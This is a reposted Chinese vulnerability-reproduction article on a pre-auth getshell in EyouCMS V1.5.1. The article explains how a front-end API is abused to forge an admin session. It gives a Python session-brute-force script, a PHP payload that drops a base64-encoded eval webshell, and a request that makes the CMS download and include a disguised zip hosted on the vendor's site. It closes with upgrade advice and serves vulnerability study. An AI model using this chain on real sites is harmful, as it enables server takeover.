首页 > 运维 > 安全 > 正文

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

PHPz
发布: 2023-05-20 20:14:40
转载
3770人浏览过

0x00 漏洞简介

赞赞网络科技 EyouCMS(易优CMS)是中国赞赞网络科技公司的一套基于ThinkPHP的开源内容管理系统(CMS)。

Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞,该漏洞使攻击者可以通过调用api,在前台设置一个管理员的session,后台远程插件下载文件包含getshell。

0x01 影响版本

EyouCMS

0x02 环境搭建

下载
官网下载V1.5.1版本
下载连接:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

安装
通过phpstudy集成环境简单部署
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x03 漏洞分析

前台设置管理员session在application/api/controller/Ajax.php:215

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

get_token

函数是可以前台随意调用的,另外形参中的

$name

变量也是通过http传递进来的。跟进token函数,如下图所示。
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

高亮处有一个设置session的操作,名字是可控的,而值是请求时间戳md5的值。不可控。
可以尝试通过这个设置session的操作,构造出一个后台管理员的session。然后我们梳理一下后台管理员的登录逻辑。在application/admin/controller/Base.php:54如何进行EyouCMS V1.5.1 前台getshell漏洞复现

这里涉及到了两个session,一个admin_login_expire,一个admin_id

if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime)
登录后复制

admin_login_expire

(该session会做减法的校验,需要满足一定条件)

admin_id

(该session有就即可,不会验证其值)
设置完这两个session后,我们继续看到if条件判断里还有一个

check_priv

函数,跟进查看:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

if (0 >= intval(session('admin_info.role_id')))
登录后复制

admin_info.role_id

(满足小于等于0即可)
设置完三个session后,就可以进后台了,如图所示:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

后台远程插件下载getshell在application/admin/controller/Weapp.php:1235如何进行EyouCMS V1.5.1 前台getshell漏洞复现

这里传进来一个$url,然后做一个url解析,需要满足host为eyoucms.com。
也就是程序限制只能从官网下载插件安装,但是这个校验太简单了,可以绕。
然后下文就是请求这个下载链接,做解压操作,并包含进来config.php。
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

这后面再做的插件标准判断已经不起作用了。

0x04 漏洞利用

前台设置一个管理员的session
首先我们可以先取出成功登陆后的管理员session与未登录的普通用户session做对比
管理员:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

普通用户:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

调用get_token函数设置名为admin_login_expire的session
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

再查看该普通用户的session
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

已成功设置。
同样的我们可以把admin_id与admin_info.roke_id添加进去。
但是这md5字符串显然不符合漏洞分析中的要求,所以这里通过脚本不断刷新session,直到寻找到合适的md5值

while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])
登录后复制

运行结果:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

session:
@@##@@

再经过application/admin/controller/Base.php:58和:106的intval()的转换:
@@##@@

成功使用该PHPSESSID进入后台:
@@##@@

后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>
登录后复制

压缩成weappp.zip,修改后缀为jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

此时webshell已成功写入:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

访问webshell:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

如何进行EyouCMS V1.5.1 前台getshell漏洞复现如何进行EyouCMS V1.5.1 前台getshell漏洞复现如何进行EyouCMS V1.5.1 前台getshell漏洞复现

以上就是如何进行EyouCMS V1.5.1 前台getshell漏洞复现的详细内容,更多请关注php中文网其它相关文章!

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。

下载
来源:亿速云网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习
PHP中文网抖音号
发现有趣的

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号